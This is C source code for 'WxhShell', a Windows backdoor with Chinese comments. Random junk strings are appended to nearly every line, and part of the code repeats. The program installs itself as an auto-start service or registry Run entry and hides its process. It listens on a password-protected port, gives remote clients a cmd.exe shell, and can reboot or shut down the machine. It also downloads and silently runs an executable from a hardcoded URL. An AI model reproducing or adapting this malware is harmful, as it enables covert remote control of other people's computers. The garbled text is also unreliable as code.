    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /N,\st  
    else { [fY7|  
    closesocket(wsh); 5Q:%f  
    ExitThread(0); &da:{  
    } 'j!n   
    break; ]W5p\(1g  
    } A\v53AT  
  // 获取shell dF5y' R'  
  case 's': { |io)?`pj  
    CmdShell(wsh); - Rx;"J.H  
    closesocket(wsh); ^}`24~|y  
    ExitThread(0); B~b ='jN  
    break; }PM7CZSq  
  } 5W=Jn?y2  
  // 退出 m -0EcA/  
  case 'x': { #99=wn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rC_saHo>#R  
    CloseIt(wsh); wO6>jW 7  
    break; \7IT[<Se  
    } (iIzoEpb8W  
  // 离开 x:h)\%Dg<  
  case 'q': { c2L\m*^o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $GHi9aj_P  
    closesocket(wsh); FF0~i+5  
    WSACleanup(); Ul3xeu  
    exit(1); 8L]Cc!~  
    break; :B\ $7+$v  
        } (Ffa{Tt!  
  } wc\`2(  
  } mHa~c(x  
-$49l  
  // 提示信息 +|x%a2?x:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L(9AcP  
} (*,R21<%  
  } c= ?Tu  
BqDsf5}jpA  
  return; JB=L{P J  
} 43<i3O  
|?hsMN  
// shell模块句柄 8k+k\V{  
int CmdShell(SOCKET sock) `b%^_@Fb  
{ {,?Gj@$  
STARTUPINFO si; (y1S*_D  
ZeroMemory(&si,sizeof(si)); KHGUR(\Rd6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )*Wz5x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LI^D\  
PROCESS_INFORMATION ProcessInfo; -BWWaL  
char cmdline[]="cmd"; cl |}0Q5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IRTWmT jT  
  return 0; I3}]MAE  
} B\qy:nr j  
N vTp1kI]  
// 自身启动模式 G:` So  
int StartFromService(void) KC%&or  
{ CrG!8}  
typedef struct J25/Iy*byG  
{ *pABdP+  
  DWORD ExitStatus;  Z`|\%D%  
  DWORD PebBaseAddress; InRcIQT  
  DWORD AffinityMask; L3 KJ~LI  
  DWORD BasePriority; ;0NJX)GL  
  ULONG UniqueProcessId; c#>:U,j  
  ULONG InheritedFromUniqueProcessId; Sz]1`%_H/  
}   PROCESS_BASIC_INFORMATION; #r1y|)m`  
}5}>B *  
PROCNTQSIP NtQueryInformationProcess; F8M};&=*1r  
EMdU4YnE"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hS>=p O+y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qstd;qE~  
ln":j?`  
  HANDLE             hProcess; @ScC32X  
  PROCESS_BASIC_INFORMATION pbi; O1+yOef"k  
3(gOF&Uf9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [57`V &c5  
  if(NULL == hInst ) return 0; x<@i3Y{[  
g>`D!n::n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B__e*d:)!m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .9Dncsnf,`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N9M",(WTt}  
Vup|*d2r0E  
  if (!NtQueryInformationProcess) return 0; -KfMK N~  
Og8%SnEpMI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JXR]G  
  if(!hProcess) return 0; ~=<uYv?0s  
Cv4nl7A'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $iA:3DM07  
~PU}==*q  
  CloseHandle(hProcess); kV8qpw}K  
_lRIS_^;eE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hzpl;Mj  
if(hProcess==NULL) return 0; (]10Z8"fJ  
w'7J`n: {]  
HMODULE hMod; YPO24_B  
char procName[255]; ] ;HCt=I~  
unsigned long cbNeeded; J4 U]_|  
Hw6 2'%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k![H;}W  
2 MW7nIEs  
  CloseHandle(hProcess); MmFtG-  
#&?}h)Jr'  
if(strstr(procName,"services")) return 1; // 以服务启动 4r86@^c*  
_'^_9u G  
  return 0; // 注册表启动 g_?Q3  
} )n[=)"rf  
DbtkWq%  
// 主模块 6\ .LG4@LO  
int StartWxhshell(LPSTR lpCmdLine) j0w@ \gO<  
{ 8:0,jnS  
  SOCKET wsl; Der'45]*^  
BOOL val=TRUE; mX?t|:[b  
  int port=0; XN{zl*`  
  struct sockaddr_in door; a:4!z;2 |  
i CB:p  
  if(wscfg.ws_autoins) Install(); !1UZ<hq  
H^vA}F`  
port=atoi(lpCmdLine); 4$U^)\06W  
/;!I.|j  
if(port<=0) port=wscfg.ws_port; Xn>>hzj-x?  
pRUQMPn (  
  WSADATA data; 6z:/ma^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SwaPRAF  
!XM*y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1s(i\&B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I7#JT?\}  
  door.sin_family = AF_INET; d<WNN1f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2]FRIy d  
  door.sin_port = htons(port); tCPK_Wws?Z  
"5?1S-Vl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _j*I\  
closesocket(wsl); sD&V_ &i  
return 1; {+3g*s/HI  
} {>XoE %  
6Ypc]ym=J  
  if(listen(wsl,2) == INVALID_SOCKET) { ] ;CJ6gM~  
closesocket(wsl); <Z\{ijfvD  
return 1; 2vb qz  
} MD3iWgM  
  Wxhshell(wsl); ^&$86-PB/  
  WSACleanup(); Tks"GlE*D  
'$J M2 u  
return 0; {) sE;p-  
}U4mXkZF  
} iM9^.  
t~44ub6GN`  
// 以NT服务方式启动 L]&y[/\E1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;d_<6|*M  
{ <=w!:   
DWORD   status = 0; dJdOh#8+Xi  
  DWORD   specificError = 0xfffffff; yNU}1_oK  
{z;4t&5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; " SP6o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A..`?oGj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !,]c}Y{i  
  serviceStatus.dwWin32ExitCode     = 0; [F(iV[n%  
  serviceStatus.dwServiceSpecificExitCode = 0; :2')`xT  
  serviceStatus.dwCheckPoint       = 0; zE?dQD^OD  
  serviceStatus.dwWaitHint       = 0; 2v#gCou  
cqW(9A|8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZPz=\^  
  if (hServiceStatusHandle==0) return; )|AxQPd  
* X}2  
status = GetLastError(); Q:T9&_|  
  if (status!=NO_ERROR) aygK$.wos  
{ W"CG&.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PAxR?2m{  
    serviceStatus.dwCheckPoint       = 0; 'fk6]&-I  
    serviceStatus.dwWaitHint       = 0; ?5,I`9  
    serviceStatus.dwWin32ExitCode     = status; Np+pJc1  
    serviceStatus.dwServiceSpecificExitCode = specificError; uY/C iTWr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {zLgLBM  
    return; ^!n|j]aw  
  } _={mKKoHs  
3TS:H1n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D,(:))DmR  
  serviceStatus.dwCheckPoint       = 0; ,ei=w,O  
  serviceStatus.dwWaitHint       = 0; T7O)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %=\*OIhl  
} e$JATA:j  
w*o2lg9  
// 处理NT服务事件,比如:启动、停止 !- 5z 1b)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4mpcI  
{ G|"m-.9F  
switch(fdwControl) UISsiiG(  
{ .3cD.']%  
case SERVICE_CONTROL_STOP: % I2JS  
  serviceStatus.dwWin32ExitCode = 0; gFfKK`)}D'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \ Z5160  
  serviceStatus.dwCheckPoint   = 0; peOoZdJd  
  serviceStatus.dwWaitHint     = 0; 5P 5Tgk  
  { cR*~JwC:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AE Elaq.B  
  } ,068IEs  
  return; +ef>ek  
case SERVICE_CONTROL_PAUSE: nNnfcA&W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =En1?3?  
  break; _9Rj,  
case SERVICE_CONTROL_CONTINUE: R\/tKZJjb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _5$L`&  
  break; crSqbL  
case SERVICE_CONTROL_INTERROGATE: Y4X`(\A  
  break; @e$EwCV,  
}; jR@>~t[}o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $d,{I8d  
} s'IB{lJ9  
l m(mY$B*_  
// 标准应用程序主函数 >$=l;jO`n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xh!T,|IR  
{ Gm0}KU  
A:pD:}fm}D  
// 获取操作系统版本 ?.beN[X  
OsIsNt=GetOsVer(); h|lH`m^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kXlI *h  
\|M[W~8  
  // 从命令行安装 z3>4 xn{  
  if(strpbrk(lpCmdLine,"iI")) Install(); ap"pQ[t;  
EVA&By6_k  
  // 下载执行文件 u),.q7(m  
if(wscfg.ws_downexe) { 5l%g3F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }Gx@1)??  
  WinExec(wscfg.ws_filenam,SW_HIDE); uf:'"7V7  
} K*4ib/'E a  
Q:b0!  
if(!OsIsNt) { HNlW.y"  
// 如果时win9x,隐藏进程并且设置为注册表启动 $'<$:;4b3  
HideProc(); VRSBf;?  
StartWxhshell(lpCmdLine); *m`x/_y+  
} M 8(w+h{  
else Dqd2e&a\  
  if(StartFromService()) \0&$ n  
  // 以服务方式启动 %5@> nC?`[  
  StartServiceCtrlDispatcher(DispatchTable); :1@jl2,  
else kr!>rqN5  
  // 普通方式启动 N3oa!PE  
  StartWxhshell(lpCmdLine); av:%wJUl,$  
ld 1[Usaq  
return 0; <JvYCWX`  
} cjd-B:l  
S?VKzVDB.S  
2t>>08T  
~d ~oC$=TC  
=========================================== B7o US}M  
2=1qmQE  
kqq1;Kd  
s ;]"LD@  
gi)C5J4  
:7(d 6gEL  
" 7| j rk  
w"O;: `|n  
#include <stdio.h> |tTcJ\bG  
#include <string.h> &4l!2  
#include <windows.h> [MKt\(  
#include <winsock2.h> }h8U.k?v  
#include <winsvc.h> !0):g/2h  
#include <urlmon.h> &+ H\ST(/  
I'N!j>5oX  
#pragma comment (lib, "Ws2_32.lib") BuxU+  
#pragma comment (lib, "urlmon.lib") 'AmA3x)9u  
y$6EEp  
#define MAX_USER   100 // 最大客户端连接数 cHVu6I?h  
#define BUF_SOCK   200 // sock buffer 7_lgo6  
#define KEY_BUFF   255 // 输入 buffer .SOCWznb  
|W&K@g$  
#define REBOOT     0   // 重启 EZ hk(LE  
#define SHUTDOWN   1   // 关机 mGoC8t}iP  
mD*!<<Sw  
#define DEF_PORT   5000 // 监听端口 P4c}@Mq3  
!FB2\hiM  
#define REG_LEN     16   // 注册表键长度 1CV ?  
#define SVC_LEN     80   // NT服务名长度 9[`\ZGWD  
f2v~: u  
// 从dll定义API (#>Q#Izr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,jD-fL/:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .f!:@fX>=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G%h+KTw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #]^M/y h  
s5MG#M 9  
// wxhshell配置信息 'RNj5r  
struct WSCFG { &lxMVynL  
  int ws_port;         // 监听端口 LJt5?zQKrW  
  char ws_passstr[REG_LEN]; // 口令 ,">CPl]  
  int ws_autoins;       // 安装标记, 1=yes 0=no }wEt=zOJ  
  char ws_regname[REG_LEN]; // 注册表键名 0G+ qF96  
  char ws_svcname[REG_LEN]; // 服务名 qP=a:R-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t$R0UprK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GSH,;cY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DQ0 UY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GpR,n2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %%h.`p1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m93{K7O2e  
)5o6*(Y  
}; uOZSX.o^  
PMvm4<  
// default Wxhshell configuration RL/5 o"  
struct WSCFG wscfg={DEF_PORT,  x_/H  
    "xuhuanlingzhe",  Lu[Hz8  
    1, v^[!NygShs  
    "Wxhshell", l SuNZY aO  
    "Wxhshell", DLe>EU;vS  
            "WxhShell Service", ]xIgP%  
    "Wrsky Windows CmdShell Service", c]ga) A(  
    "Please Input Your Password: ", ww'B!Ml>F  
  1, ^nQJo"g\  
  "http://www.wrsky.com/wxhshell.exe", d/YQ6oKU  
  "Wxhshell.exe" h_g "F@  
    }; z@jKzyq  
m}6>F0Kv  
// 消息定义模块 "ZmxHMf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `H^ H#W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j2 >WHh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1WY$Vs  
char *msg_ws_ext="\n\rExit."; VwXR,(  
char *msg_ws_end="\n\rQuit."; 'l-VWqR-  
char *msg_ws_boot="\n\rReboot..."; ?4Rq +  
char *msg_ws_poff="\n\rShutdown..."; LVL#qNIu  
char *msg_ws_down="\n\rSave to "; : >$v@d  
X 3ZKN;  
char *msg_ws_err="\n\rErr!"; ?b(DDQMf  
char *msg_ws_ok="\n\rOK!"; M,Lq4bz  
f.R;<V.)  
char ExeFile[MAX_PATH]; R m2M  
int nUser = 0; n~i^+pD@  
HANDLE handles[MAX_USER]; ;B :\e8  
int OsIsNt; >9<rc[  
XqcNFSo)  
SERVICE_STATUS       serviceStatus; Jr>Nc}!U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^{E_fQJX  
f uH3C~u7<  
// 函数声明 nGTqW/k[+s  
int Install(void); Fg2/rC:_  
int Uninstall(void); cn9=wm\\  
int DownloadFile(char *sURL, SOCKET wsh); E6-~  
int Boot(int flag); &G3$q,`H  
void HideProc(void); }UG<_ bE|  
int GetOsVer(void); (YYwn@NGj  
int Wxhshell(SOCKET wsl); W)Yo-%  
void TalkWithClient(void *cs); V<KjKa+sG  
int CmdShell(SOCKET sock); Xxm7s S  
int StartFromService(void); V:AA{<  
int StartWxhshell(LPSTR lpCmdLine); ^[ 2siG  
]Rmu +N|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :/}=s5aQl/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =knBwjeD  
dcE(uf  
// 数据结构和表定义 iciRlx.$c  
SERVICE_TABLE_ENTRY DispatchTable[] = z qd1G(tO  
{ g+C~}M_7  
{wscfg.ws_svcname, NTServiceMain}, CY!H)6k  
{NULL, NULL} Nk9w ; z&  
}; aZ ta%3`)  
a6/ETQ  
// 自我安装 LM!@LQAMY  
int Install(void) !VvM  
{ `0R>r7f)H  
  char svExeFile[MAX_PATH]; b1Ba}  
  HKEY key; f>?b2a2HX  
  strcpy(svExeFile,ExeFile); Jd33QL}Hj  
1flBA,6L  
// 如果是win9x系统,修改注册表设为自启动 6(q8y(.`  
if(!OsIsNt) { fs#9*<]m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U8zs=tA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }</"~Kw!  
  RegCloseKey(key); m`@~ZIa?>B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ',6d0>4 *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xQqZi b5I  
  RegCloseKey(key); G4uOY?0N  
  return 0; 48 mTL+*  
    } ZYz8ul$E  
  } ;#7:}>}rO  
} id/y_ekfP  
else { O*Z -3 l  
*uF Iw}C/  
// 如果是NT以上系统,安装为系统服务 01+TVWKX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C3C&hq\%  
if (schSCManager!=0) `O?j -zR  
{ W{kTM4  
  SC_HANDLE schService = CreateService [Lf8*U"  
  ( 4&B|rf  
  schSCManager, *+J`Yk7}  
  wscfg.ws_svcname, O+~@ S~  
  wscfg.ws_svcdisp, \Oe8h#%  
  SERVICE_ALL_ACCESS, o~VZ%B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `Z (`  
  SERVICE_AUTO_START, Ja%isIdh  
  SERVICE_ERROR_NORMAL, X@~R<  
  svExeFile, $oi8 <8Y  
  NULL, ;]%Syrzp  
  NULL, 4uv*F:eo  
  NULL, 74KR.ABd  
  NULL, Z%VgAV>>  
  NULL {XLRrU!*  
  ); XeAH.i<  
  if (schService!=0) rX|{nb  
  { Ys@\~?ym+  
  CloseServiceHandle(schService); e~$aJO@B.R  
  CloseServiceHandle(schSCManager); ban;HGGNG{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Dwah_ p8  
  strcat(svExeFile,wscfg.ws_svcname); vVbS 4_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qmj%otSg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #23($CSE  
  RegCloseKey(key); j|y"Lcq  
  return 0; Kr%O}<"  
    } VQ4rEO=t  
  } ^=w){]G  
  CloseServiceHandle(schSCManager); 5^36nEoA(  
} F\+!\b*lP  
} 4?aNJyV%&  
+`.,6TNVlY  
return 1; pA@BW:#  
} va;fT+k=  
s&-dLkis{u  
// 自我卸载 VCUsvhI  
int Uninstall(void) AH# Dk5#G  
{ FC8#XZp  
  HKEY key; Odbm"Y  
dca?(B!'6  
if(!OsIsNt) { ,)t/1oQ}>^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %r:Uff@  
  RegDeleteValue(key,wscfg.ws_regname); }<H0CcG  
  RegCloseKey(key); = /=?l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /6#i$\ j  
  RegDeleteValue(key,wscfg.ws_regname); 2S-z$Bi}]  
  RegCloseKey(key); b!z=:  
  return 0; _RG2I)P  
  } dijHi  
} bO+L#Kf  
} uBo~PiJ2"  
else { #!]~E@;E  
OH vV_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `xFgYyiQd  
if (schSCManager!=0) m2to94yh  
{ gg :{Xf*`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +HY.m+T  
  if (schService!=0) 4,7W*mr3(  
  { dqw0ns.2  
  if(DeleteService(schService)!=0) { mUwGr_)wj  
  CloseServiceHandle(schService); X%Ta?(9|.^  
  CloseServiceHandle(schSCManager); w;V+)r?w  
  return 0; ^e1mK4`  
  } #(r1b'jfP  
  CloseServiceHandle(schService); lC=T{rR  
  } 8"J6(KS  
  CloseServiceHandle(schSCManager); v c b}Gk  
} ~> 5  
} AF"XsEt.e  
W^1)70<y  
return 1; qUG)+~g`  
} Z(o]8*;A i  
DM*u;t{i  
// 从指定url下载文件 a |0f B4G  
int DownloadFile(char *sURL, SOCKET wsh) \.{ZgL5"  
{ sm;\;MP*yH  
  HRESULT hr; E>`gj~  
char seps[]= "/"; Rj/y.g  
char *token; O*hQP*Rs  
char *file; J"yq)0  
char myURL[MAX_PATH]; <l^#FH  
char myFILE[MAX_PATH]; ZNY), 3?  
J8PZVeWx  
strcpy(myURL,sURL); }wV/)Oy[  
  token=strtok(myURL,seps); wy# 5p]!u  
  while(token!=NULL) g42Z*+P6N  
  { RRR=R]  
    file=token; )zvjsx*e=J  
  token=strtok(NULL,seps); O}q(2[*i  
  } oJVpJA0IA  
t3;QF  
GetCurrentDirectory(MAX_PATH,myFILE); Hp-vBoEk  
strcat(myFILE, "\\"); hrTl:\  
strcat(myFILE, file); @z7$1pl}  
  send(wsh,myFILE,strlen(myFILE),0); .jbT+hhM  
send(wsh,"...",3,0); qJ<Ghd`8v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZTK)N  
  if(hr==S_OK) O ftjm X_  
return 0; 8DZ OPA  
else h>&t``<  
return 1; %jj\w>  
H.[t&VO  
} @ R;o $n  
3+ WostOx  
// 系统电源模块 !i?aRI/6  
int Boot(int flag) ,L^ag&!4  
{ &8QkGUbS<  
  HANDLE hToken; j'nrdr6n  
  TOKEN_PRIVILEGES tkp; j+NpQ}t:  
!9.`zW"40  
  if(OsIsNt) { ;2iDa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]d50J@W c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (, 2U?p  
    tkp.PrivilegeCount = 1; _ }:#T8h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e^Glgaf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uKd79[1  
if(flag==REBOOT) { ak]H|D" 9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >Gxh=**F  
  return 0; %vjfAdC  
} A7sva@}W  
else { UpCkB}OhR1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *Au[{sR  
  return 0; #=aTSw X  
} @!2vS@f  
  } yo"!C?82=  
  else { XF Wo"%}w  
if(flag==REBOOT) { mA0|W#NB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -3&mgd  
  return 0; +{"w5o<CO  
} ]`_eaW?Ua  
else { RWINdJZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0;x<0P  
  return 0; 5Z(#)sa0Og  
} wTPHc:2  
} #]FJx  
OK=ANQjs(  
return 1; 1c}LX.9K  
} 2+qU9[kd|  
oq9gG)F  
// win9x进程隐藏模块 J2Z? }5>  
void HideProc(void) 2M3C 5Fu  
{ C?lZu\L  
u1_NC;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,kw:g&A  
  if ( hKernel != NULL ) n% ={!WD  
  { [,|;rt\o>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `& }C *i"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vON1\$bu `  
    FreeLibrary(hKernel); cK~VNzsz  
  } 3pI)  
299uZz}Y  
return; %n:ymc $}  
} @rt}z+JF  
]{PJ  
// 获取操作系统版本 UWg+7RL  
int GetOsVer(void) l. 0|>gj`0  
{ x]<0Kq9K  
  OSVERSIONINFO winfo; L<H6AzR+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z)XI A)i6  
  GetVersionEx(&winfo); I<LIw8LI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $%0A#&DVh  
  return 1; <+)B8I^  
  else J#*R]LU|  
  return 0; |n+ ` t?L^  
} ~ U`|+ 5  
'v'=t<wgl  
// 客户端句柄模块 ,NoWAmv  
int Wxhshell(SOCKET wsl) D|E,9|=v  
{ OZi4S3k  
  SOCKET wsh; K:8. Dvn  
  struct sockaddr_in client; uEcK0>xp  
  DWORD myID; XI58Cy*!  
g,d'&r"JWt  
  while(nUser<MAX_USER) b{hdEb  
{ i@hW" [A  
  int nSize=sizeof(client); C{P:1ELYXH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >q)VHV9P  
  if(wsh==INVALID_SOCKET) return 1; p 28=l5y+  
g"Gj8QLDz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |aMeh;X t  
if(handles[nUser]==0) /[#5<;  
  closesocket(wsh); D./3,z  
else 2&d|L|->  
  nUser++; P_N i 5s)  
  } BewJ!,A!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +n&9ZC H  
}ec3qZ@  
  return 0; <J .-fZS%  
} E.+BqWZ!  
8/`ij?gn  
// 关闭 socket x|q|> dPB  
void CloseIt(SOCKET wsh) {BS`v5*  
{ #CTHCwYo  
closesocket(wsh); /eNDv(g)M  
nUser--; qASV\ <n  
ExitThread(0); GMQKR,6VM  
} B{\qYL/~  
gWpG-RL0  
// 客户端请求句柄 ZIikDi h1  
void TalkWithClient(void *cs) A,#a?O6m  
{ +o^sm'$  
%hH@< <b(s  
  SOCKET wsh=(SOCKET)cs; RLr^6+v)U  
  char pwd[SVC_LEN]; \2NT7^H#  
  char cmd[KEY_BUFF]; m vLqccL  
char chr[1]; J^)=8cy  
int i,j; fi;00>y  
|tqYRWn0  
  while (nUser < MAX_USER) { KB6`OT^b{r  
4+'d">+|  
if(wscfg.ws_passstr) { Ki(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); diDB>W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {}1KI+s9\  
  //ZeroMemory(pwd,KEY_BUFF);  - j_  
      i=0; R"V^%z;8o  
  while(i<SVC_LEN) { %m?$"<q_K  
drK &  
  // 设置超时 S^*ME*DDz  
  fd_set FdRead; w!~85""  
  struct timeval TimeOut; pCt0[R;?  
  FD_ZERO(&FdRead); 68, (+vkB  
  FD_SET(wsh,&FdRead); m(eR Wx&pZ  
  TimeOut.tv_sec=8; 2(iv+<t  
  TimeOut.tv_usec=0; cOo@UU P   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vD'YLn%Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6;{E-y  
To@77.'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?2i\E RG?  
  pwd=chr[0]; UcxMA%Pw7$  
  if(chr[0]==0xd || chr[0]==0xa) { v!77dj 6I  
  pwd=0; _yP02a^2  
  break; .Mu]uQUF  
  } g&`[r6B  
  i++; (Q~ (t  
    } w6FVSU]sY  
Fooa~C"  
  // 如果是非法用户,关闭 socket Z|IFT1K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WuUT>om H  
} C3GI?| b  
#xTu {  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %^ g(2^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2E_*'RT  
(X(c.Jj  
while(1) { 3E]IEf  
i8H!4l  
  ZeroMemory(cmd,KEY_BUFF); 1H]E:Bq  
tDwj~{a~  
      // 自动支持客户端 telnet标准   C8bv%9  
  j=0; ![CF >:e  
  while(j<KEY_BUFF) { ]/y69ou  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vB;$AFh{  
  cmd[j]=chr[0]; h(Ccm44  
  if(chr[0]==0xa || chr[0]==0xd) { o; N s-=  
  cmd[j]=0; tF=Y3W+L  
  break; Fl;!'1  
  } K}1eQS&$a  
  j++; j~VHU89  
    } bhg OLh#  
gg}^@h&?  
  // 下载文件 yNk E>  
  if(strstr(cmd,"http://")) { _E<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2B=''W  
  if(DownloadFile(cmd,wsh)) Eh*t;J=O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^tY$pPA  
  else ajMI7j^G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kx_PMpc  
  } .e8S^lSl  
  else { Q1(6U6L  
J~URv)g  
    switch(cmd[0]) { @mu2,%  
  k9iXVYQ.;r  
  // 帮助 [H8QxJk  
  case '?': { "=r"c$xou  
